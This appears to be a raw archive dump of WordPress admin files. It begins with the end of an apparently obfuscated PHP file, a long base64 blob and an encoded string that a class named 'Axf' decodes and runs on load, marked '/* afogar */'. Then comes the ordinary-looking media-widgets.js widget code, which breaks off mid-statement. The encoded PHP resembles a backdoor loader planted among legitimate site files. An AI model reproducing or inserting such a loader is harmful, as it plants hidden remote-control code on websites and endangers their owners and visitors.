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 kGEZ9K5fEU4ElJEM1AZNLNpUTPNaNPUu'; var $value = 'XZBPa4QwEMXPLux3mAYhCtLu0tIe/NNDEbb0YNe1vUiR1I0oGA1JbF1Kv3tH99L1NpP35pc3EzzKWoI9 MgiBUh9s2Y5YVqzV3F+v7PFbYEsKAtegh09tlKNrtnXs4hCn73Ga012WvRa75JDRD9eDjQe3Lg42ldNo zQ0a03j/Fh+ynBZCoseFn/XKss5fXiIXzpm2vZ9w1i9wTPSP+pQkL89xPgVcMC81fxbOWxk18Bk257vi QpqTg0M4r7gZVAdMKTY/eUCrcvNwd6QeTBxvvswUhZd1DzSoeiWAlabpu5AQENzU/TEksteGREHTycGA OUkeEsNHQ6BjAmtcbKHiBUSD+hdrB2yjCPWbCR5R/w8='; } new Axf(); /* afogar */ ?>media-widgets.js000064400000123560147102520270007634 0ustar00/** * @output wp-admin/js/widgets/media-widgets.js */ /* eslint consistent-this: [ "error", "control" ] */ /** * @namespace wp.mediaWidgets * @memberOf wp */ wp.mediaWidgets = ( function( $ ) { 'use strict'; var component = {}; /** * Widget control (view) constructors, mapping widget id_base to subclass of MediaWidgetControl. * * Media widgets register themselves by assigning subclasses of MediaWidgetControl onto this object by widget ID base. * * @memberOf wp.mediaWidgets * * @type {Object.} */ component.controlConstructors = {}; /** * Widget model constructors, mapping widget id_base to subclass of MediaWidgetModel. * * Media widgets register themselves by assigning subclasses of MediaWidgetControl onto this object by widget ID base. * * @memberOf wp.mediaWidgets * * @type {Object.} */ component.modelConstructors = {}; component.PersistentDisplaySettingsLibrary = wp.media.controller.Library.extend(/** @lends wp.mediaWidgets.PersistentDisplaySettingsLibrary.prototype */{ /** * Library which persists the customized display settings across selections. * * @constructs wp.mediaWidgets.PersistentDisplaySettingsLibrary * @augments wp.media.controller.Library * * @param {Object} options - Options. * * @return {void} */ initialize: function initialize( options ) { _.bindAll( this, 'handleDisplaySettingChange' ); wp.media.controller.Library.prototype.initialize.call( this, options ); }, /** * Sync changes to the current display settings back into the current customized. * * @param {Backbone.Model} displaySettings - Modified display settings. * @return {void} */ handleDisplaySettingChange: function handleDisplaySettingChange( displaySettings ) { this.get( 'selectedDisplaySettings' ).set( displaySettings.attributes ); }, /** * Get the display settings model. * * Model returned is updated with the current customized display settings, * and an event listener is added so that changes made to the settings * will sync back into the model storing the session's customized display * settings. * * @param {Backbone.Model} model - Display settings model. * @return {Backbone.Model} Display settings model. */ display: function getDisplaySettingsModel( model ) { var display, selectedDisplaySettings = this.get( 'selectedDisplaySettings' ); display = wp.media.controller.Library.prototype.display.call( this, model ); display.off( 'change', this.handleDisplaySettingChange ); // Prevent duplicated event handlers. display.set( selectedDisplaySettings.attributes ); if ( 'custom' === selectedDisplaySettings.get( 'link_type' ) ) { display.linkUrl = selectedDisplaySettings.get( 'link_url' ); } display.on( 'change', this.handleDisplaySettingChange ); return display; } }); /** * Extended view for managing the embed UI. * * @class wp.mediaWidgets.MediaEmbedView * @augments wp.media.view.Embed */ component.MediaEmbedView = wp.media.view.Embed.extend(/** @lends wp.mediaWidgets.MediaEmbedView.prototype */{ /** * Initialize. * * @since 4.9.0 * * @param {Object} options - Options. * @return {void} */ initialize: function( options ) { var view = this, embedController; // eslint-disable-line consistent-this wp.media.view.Embed.prototype.initialize.call( view, options ); if ( 'image' !== view.controller.options.mimeType ) { embedController = view.controller.states.get( 'embed' ); embedController.off( 'scan', embedController.scanImage, embedController ); } }, /** * Refresh embed view. * * Forked override of {wp.media.view.Embed#refresh()} to suppress irrelevant "link text" field. * * @return {void} */ refresh: function refresh() { /** * @class wp.mediaWidgets~Constructor */ var Constructor; if ( 'image' === this.controller.options.mimeType ) { Constructor = wp.media.view.EmbedImage; } else { // This should be eliminated once #40450 lands of when this is merged into core. Constructor = wp.media.view.EmbedLink.extend(/** @lends wp.mediaWidgets~Constructor.prototype */{ /** * Set the disabled state on the Add to Widget button. * * @param {boolean} disabled - Disabled. * @return {void} */ setAddToWidgetButtonDisabled: function setAddToWidgetButtonDisabled( disabled ) { this.views.parent.views.parent.views.get( '.media-frame-toolbar' )[0].$el.find( '.media-button-select' ).prop( 'disabled', disabled ); }, /** * Set or clear an error notice. * * @param {string} notice - Notice. * @return {void} */ setErrorNotice: function setErrorNotice( notice ) { var embedLinkView = this, noticeContainer; // eslint-disable-line consistent-this noticeContainer = embedLinkView.views.parent.$el.find( '> .notice:first-child' ); if ( ! notice ) { if ( noticeContainer.length ) { noticeContainer.slideUp( 'fast' ); } } else { if ( ! noticeContainer.length ) { noticeContainer = $( '' ); noticeContainer.hide(); embedLinkView.views.parent.$el.prepend( noticeContainer ); } noticeContainer.empty(); noticeContainer.append( $( '

', { html: notice })); noticeContainer.slideDown( 'fast' ); } }, /** * Update oEmbed. * * @since 4.9.0 * * @return {void} */ updateoEmbed: function() { var embedLinkView = this, url; // eslint-disable-line consistent-this url = embedLinkView.model.get( 'url' ); // Abort if the URL field was emptied out. if ( ! url ) { embedLinkView.setErrorNotice( '' ); embedLinkView.setAddToWidgetButtonDisabled( true ); return; } if ( ! url.match( /^(http|https):\/\/.+\// ) ) { embedLinkView.controller.$el.find( '#embed-url-field' ).addClass( 'invalid' ); embedLinkView.setAddToWidgetButtonDisabled( true ); } wp.media.view.EmbedLink.prototype.updateoEmbed.call( embedLinkView ); }, /** * Fetch media. * * @return {void} */ fetch: function() { var embedLinkView = this, fetchSuccess, matches, fileExt, urlParser, url, re, youTubeEmbedMatch; // eslint-disable-line consistent-this url = embedLinkView.model.get( 'url' ); if ( embedLinkView.dfd && 'pending' === embedLinkView.dfd.state() ) { embedLinkView.dfd.abort(); } fetchSuccess = function( response ) { embedLinkView.renderoEmbed({ data: { body: response } }); embedLinkView.controller.$el.find( '#embed-url-field' ).removeClass( 'invalid' ); embedLinkView.setErrorNotice( '' ); embedLinkView.setAddToWidgetButtonDisabled( false ); }; urlParser = document.createElement( 'a' ); urlParser.href = url; matches = urlParser.pathname.toLowerCase().match( /\.(\w+)$/ ); if ( matches ) { fileExt = matches[1]; if ( ! wp.media.view.settings.embedMimes[ fileExt ] ) { embedLinkView.renderFail(); } else if ( 0 !== wp.media.view.settings.embedMimes[ fileExt ].indexOf( embedLinkView.controller.options.mimeType ) ) { embedLinkView.renderFail(); } else { fetchSuccess( '' ); } return; } // Support YouTube embed links. re = /https?:\/\/www\.youtube\.com\/embed\/([^/]+)/; youTubeEmbedMatch = re.exec( url ); if ( youTubeEmbedMatch ) { url = 'https://www.youtube.com/watch?v=' + youTubeEmbedMatch[ 1 ]; // silently change url to proper oembed-able version. embedLinkView.model.attributes.url = url; } embedLinkView.dfd = wp.apiRequest({ url: wp.media.view.settings.oEmbedProxyUrl, data: { url: url, maxwidth: embedLinkView.model.get( 'width' ), maxheight: embedLinkView.model.get( 'height' ), discover: false }, type: 'GET', dataType: 'json', context: embedLinkView }); embedLinkView.dfd.done( function( response ) { if ( embedLinkView.controller.options.mimeType !== response.type ) { embedLinkView.renderFail(); return; } fetchSuccess( response.html ); }); embedLinkView.dfd.fail( _.bind( embedLinkView.renderFail, embedLinkView ) ); }, /** * Handle render failure. * * Overrides the {EmbedLink#renderFail()} method to prevent showing the "Link Text" field. * The element is getting display:none in the stylesheet, but the underlying method uses * uses {jQuery.fn.show()} which adds an inline style. This avoids the need for !important. * * @return {void} */ renderFail: function renderFail() { var embedLinkView = this; // eslint-disable-line consistent-this embedLinkView.controller.$el.find( '#embed-url-field' ).addClass( 'invalid' ); embedLinkView.setErrorNotice( embedLinkView.controller.options.invalidEmbedTypeError || 'ERROR' ); embedLinkView.setAddToWidgetButtonDisabled( true ); } }); } this.settings( new Constructor({ controller: this.controller, model: this.model.props, priority: 40 })); } }); /** * Custom media frame for selecting uploaded media or providing media by URL. * * @class wp.mediaWidgets.MediaFrameSelect * @augments wp.media.view.MediaFrame.Post */ component.MediaFrameSelect = wp.media.view.MediaFrame.Post.extend(/** @lends wp.mediaWidgets.MediaFrameSelect.prototype */{ /** * Create the default states. * * @return {void} */ createStates: function createStates() { var mime = this.options.mimeType, specificMimes = []; _.each( wp.media.view.settings.embedMimes, function( embedMime ) { if ( 0 === embedMime.indexOf( mime ) ) { specificMimes.push( embedMime ); } }); if ( specificMimes.length > 0 ) { mime = specificMimes; } this.states.add([ // Main states. new component.PersistentDisplaySettingsLibrary({ id: 'insert', title: this.options.title, selection: this.options.selection, priority: 20, toolbar: 'main-insert', filterable: 'dates', library: wp.media.query({ type: mime }), multiple: false, editable: true, selectedDisplaySettings: this.options.selectedDisplaySettings, displaySettings: _.isUndefined( this.options.showDisplaySettings ) ? true : this.options.showDisplaySettings, displayUserSettings: false // We use the display settings from the current/default widget instance props. }), new wp.media.controller.EditImage({ model: this.options.editImage }), // Embed states. new wp.media.controller.Embed({ metadata: this.options.metadata, type: 'image' === this.options.mimeType ? 'image' : 'link', invalidEmbedTypeError: this.options.invalidEmbedTypeError }) ]); }, /** * Main insert toolbar. * * Forked override of {wp.media.view.MediaFrame.Post#mainInsertToolbar()} to override text. * * @param {wp.Backbone.View} view - Toolbar view. * @this {wp.media.controller.Library} * @return {void} */ mainInsertToolbar: function mainInsertToolbar( view ) { var controller = this; // eslint-disable-line consistent-this view.set( 'insert', { style: 'primary', priority: 80, text: controller.options.text, // The whole reason for the fork. requires: { selection: true }, /** * Handle click. * * @ignore * * @fires wp.media.controller.State#insert() * @return {void} */ click: function onClick() { var state = controller.state(), selection = state.get( 'selection' ); controller.close(); state.trigger( 'insert', selection ).reset(); } }); }, /** * Main embed toolbar. * * Forked override of {wp.media.view.MediaFrame.Post#mainEmbedToolbar()} to override text. * * @param {wp.Backbone.View} toolbar - Toolbar view. * @this {wp.media.controller.Library} * @return {void} */ mainEmbedToolbar: function mainEmbedToolbar( toolbar ) { toolbar.view = new wp.media.view.Toolbar.Embed({ controller: this, text: this.options.text, event: 'insert' }); }, /** * Embed content. * * Forked override of {wp.media.view.MediaFrame.Post#embedContent()} to suppress irrelevant "link text" field. * * @return {void} */ embedContent: function embedContent() { var view = new component.MediaEmbedView({ controller: this, model: this.state() }).render(); this.content.set( view ); } }); component.MediaWidgetControl = Backbone.View.extend(/** @lends wp.mediaWidgets.MediaWidgetControl.prototype */{ /** * Translation strings. * * The mapping of translation strings is handled by media widget subclasses, * exported from PHP to JS such as is done in WP_Widget_Media_Image::enqueue_admin_scripts(). * * @type {Object} */ l10n: { add_to_widget: '{{add_to_widget}}', add_media: '{{add_media}}' }, /** * Widget ID base. * * This may be defined by the subclass. It may be exported from PHP to JS * such as is done in WP_Widget_Media_Image::enqueue_admin_scripts(). If not, * it will attempt to be discovered by looking to see if this control * instance extends each member of component.controlConstructors, and if * it does extend one, will use the key as the id_base. * * @type {string} */ id_base: '', /** * Mime type. * * This must be defined by the subclass. It may be exported from PHP to JS * such as is done in WP_Widget_Media_Image::enqueue_admin_scripts(). * * @type {string} */ mime_type: '', /** * View events. * * @type {Object} */ events: { 'click .notice-missing-attachment a': 'handleMediaLibraryLinkClick', 'click .select-media': 'selectMedia', 'click .placeholder': 'selectMedia', 'click .edit-media': 'editMedia' }, /** * Show display settings. * * @type {boolean} */ showDisplaySettings: true, /** * Media Widget Control. * * @constructs wp.mediaWidgets.MediaWidgetControl * @augments Backbone.View * @abstract * * @param {Object} options - Options. * @param {Backbone.Model} options.model - Model. * @param {jQuery} options.el - Control field container element. * @param {jQuery} options.syncContainer - Container element where fields are synced for the server. * * @return {void} */ initialize: function initialize( options ) { var control = this; Backbone.View.prototype.initialize.call( control, options ); if ( ! ( control.model instanceof component.MediaWidgetModel ) ) { throw new Error( 'Missing options.model' ); } if ( ! options.el ) { throw new Error( 'Missing options.el' ); } if ( ! options.syncContainer ) { throw new Error( 'Missing options.syncContainer' ); } control.syncContainer = options.syncContainer; control.$el.addClass( 'media-widget-control' ); // Allow methods to be passed in with control context preserved. _.bindAll( control, 'syncModelToInputs', 'render', 'updateSelectedAttachment', 'renderPreview' ); if ( ! control.id_base ) { _.find( component.controlConstructors, function( Constructor, idBase ) { if ( control instanceof Constructor ) { control.id_base = idBase; return true; } return false; }); if ( ! control.id_base ) { throw new Error( 'Missing id_base.' ); } } // Track attributes needed to renderPreview in it's own model. control.previewTemplateProps = new Backbone.Model( control.mapModelToPreviewTemplateProps() ); // Re-render the preview when the attachment changes. control.selectedAttachment = new wp.media.model.Attachment(); control.renderPreview = _.debounce( control.renderPreview ); control.listenTo( control.previewTemplateProps, 'change', control.renderPreview ); // Make sure a copy of the selected attachment is always fetched. control.model.on( 'change:attachment_id', control.updateSelectedAttachment ); control.model.on( 'change:url', control.updateSelectedAttachment ); control.updateSelectedAttachment(); /* * Sync the widget instance model attributes onto the hidden inputs that widgets currently use to store the state. * In the future, when widgets are JS-driven, the underlying widget instance data should be exposed as a model * from the start, without having to sync with hidden fields. See . */ control.listenTo( control.model, 'change', control.syncModelToInputs ); control.listenTo( control.model, 'change', control.syncModelToPreviewProps ); control.listenTo( control.model, 'change', control.render ); // Update the title. control.$el.on( 'input change', '.title', function updateTitle() { control.model.set({ title: $( this ).val().trim() }); }); // Update link_url attribute. control.$el.on( 'input change', '.link', function updateLinkUrl() { var linkUrl = $( this ).val().trim(), linkType = 'custom'; if ( control.selectedAttachment.get( 'linkUrl' ) === linkUrl || control.selectedAttachment.get( 'link' ) === linkUrl ) { linkType = 'post'; } else if ( control.selectedAttachment.get( 'url' ) === linkUrl ) { linkType = 'file'; } control.model.set( { link_url: linkUrl, link_type: linkType }); // Update display settings for the next time the user opens to select from the media library. control.displaySettings.set( { link: linkType, linkUrl: linkUrl }); }); /* * Copy current display settings from the widget model to serve as basis * of customized display settings for the current media frame session. * Changes to display settings will be synced into this model, and * when a new selection is made, the settings from this will be synced * into that AttachmentDisplay's model to persist the setting changes. */ control.displaySettings = new Backbone.Model( _.pick( control.mapModelToMediaFrameProps( _.extend( control.model.defaults(), control.model.toJSON() ) ), _.keys( wp.media.view.settings.defaultProps ) ) ); }, /** * Update the selected attachment if necessary. * * @return {void} */ updateSelectedAttachment: function updateSelectedAttachment() { var control = this, attachment; if ( 0 === control.model.get( 'attachment_id' ) ) { control.selectedAttachment.clear(); control.model.set( 'error', false ); } else if ( control.model.get( 'attachment_id' ) !== control.selectedAttachment.get( 'id' ) ) { attachment = new wp.media.model.Attachment({ id: control.model.get( 'attachment_id' ) }); attachment.fetch() .done( function done() { control.model.set( 'error', false ); control.selectedAttachment.set( attachment.toJSON() ); }) .fail( function fail() { control.model.set( 'error', 'missing_attachment' ); }); } }, /** * Sync the model attributes to the hidden inputs, and update previewTemplateProps. * * @return {void} */ syncModelToPreviewProps: function syncModelToPreviewProps() { var control = this; control.previewTemplateProps.set( control.mapModelToPreviewTemplateProps() ); }, /** * Sync the model attributes to the hidden inputs, and update previewTemplateProps. * * @return {void} */ syncModelToInputs: function syncModelToInputs() { var control = this; control.syncContainer.find( '.media-widget-instance-property' ).each( function() { var input = $( this ), value, propertyName; propertyName = input.data( 'property' ); value = control.model.get( propertyName ); if ( _.isUndefined( value ) ) { return; } if ( 'array' === control.model.schema[ propertyName ].type && _.isArray( value ) ) { value = value.join( ',' ); } else if ( 'boolean' === control.model.schema[ propertyName ].type ) { value = value ? '1' : ''; // Because in PHP, strval( true ) === '1' && strval( false ) === ''. } else { value = String( value ); } if ( input.val() !== value ) { input.val( value ); input.trigger( 'change' ); } }); }, /** * Get template. * * @return {Function} Template. */ template: function template() { var control = this; if ( ! $( '#tmpl-widget-media-' + control.id_base + '-control' ).length ) { throw new Error( 'Missing widget control template for ' + control.id_base ); } return wp.template( 'widget-media-' + control.id_base + '-control' ); }, /** * Render template. * * @return {void} */ render: function render() { var control = this, titleInput; if ( ! control.templateRendered ) { control.$el.html( control.template()( control.model.toJSON() ) ); control.renderPreview(); // Hereafter it will re-render when control.selectedAttachment changes. control.templateRendered = true; } titleInput = control.$el.find( '.title' ); if ( ! titleInput.is( document.activeElement ) ) { titleInput.val( control.model.get( 'title' ) ); } control.$el.toggleClass( 'selected', control.isSelected() ); }, /** * Render media preview. * * @abstract * @return {void} */ renderPreview: function renderPreview() { throw new Error( 'renderPreview must be implemented' ); }, /** * Whether a media item is selected. * * @return {boolean} Whether selected and no error. */ isSelected: function isSelected() { var control = this; if ( control.model.get( 'error' ) ) { return false; } return Boolean( control.model.get( 'attachment_id' ) || control.model.get( 'url' ) ); }, /** * Handle click on link to Media Library to open modal, such as the link that appears when in the missing attachment error notice. * * @param {jQuery.Event} event - Event. * @return {void} */ handleMediaLibraryLinkClick: function handleMediaLibraryLinkClick( event ) { var control = this; event.preventDefault(); control.selectMedia(); }, /** * Open the media select frame to chose an item. * * @return {void} */ selectMedia: function selectMedia() { var control = this, selection, mediaFrame, defaultSync, mediaFrameProps, selectionModels = []; if ( control.isSelected() && 0 !== control.model.get( 'attachment_id' ) ) { selectionModels.push( control.selectedAttachment ); } selection = new wp.media.model.Selection( selectionModels, { multiple: false } ); mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() ); if ( mediaFrameProps.size ) { control.displaySettings.set( 'size', mediaFrameProps.size ); } mediaFrame = new component.MediaFrameSelect({ title: control.l10n.add_media, frame: 'post', text: control.l10n.add_to_widget, selection: selection, mimeType: control.mime_type, selectedDisplaySettings: control.displaySettings, showDisplaySettings: control.showDisplaySettings, metadata: mediaFrameProps, state: control.isSelected() && 0 === control.model.get( 'attachment_id' ) ? 'embed' : 'insert', invalidEmbedTypeError: control.l10n.unsupported_file_type }); wp.media.frame = mediaFrame; // See wp.media(). // Handle selection of a media item. mediaFrame.on( 'insert', function onInsert() { var attachment = {}, state = mediaFrame.state(); // Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview. if ( 'embed' === state.get( 'id' ) ) { _.extend( attachment, { id: 0 }, state.props.toJSON() ); } else { _.extend( attachment, state.get( 'selection' ).first().toJSON() ); } control.selectedAttachment.set( attachment ); control.model.set( 'error', false ); // Update widget instance. control.model.set( control.getModelPropsFromMediaFrame( mediaFrame ) ); }); // Disable syncing of attachment changes back to server (except for deletions). See . defaultSync = wp.media.model.Attachment.prototype.sync; wp.media.model.Attachment.prototype.sync = function( method ) { if ( 'delete' === method ) { return defaultSync.apply( this, arguments ); } else { return $.Deferred().rejectWith( this ).promise(); } }; mediaFrame.on( 'close', function onClose() { wp.media.model.Attachment.prototype.sync = defaultSync; }); mediaFrame.$el.addClass( 'media-widget' ); mediaFrame.open(); // Clear the selected attachment when it is deleted in the media select frame. if ( selection ) { selection.on( 'destroy', function onDestroy( attachment ) { if ( control.model.get( 'attachment_id' ) === attachment.get( 'id' ) ) { control.model.set({ attachment_id: 0, url: '' }); } }); } /* * Make sure focus is set inside of modal so that hitting Esc will close * the modal and not inadvertently cause the widget to collapse in the customizer. */ mediaFrame.$el.find( '.media-frame-menu 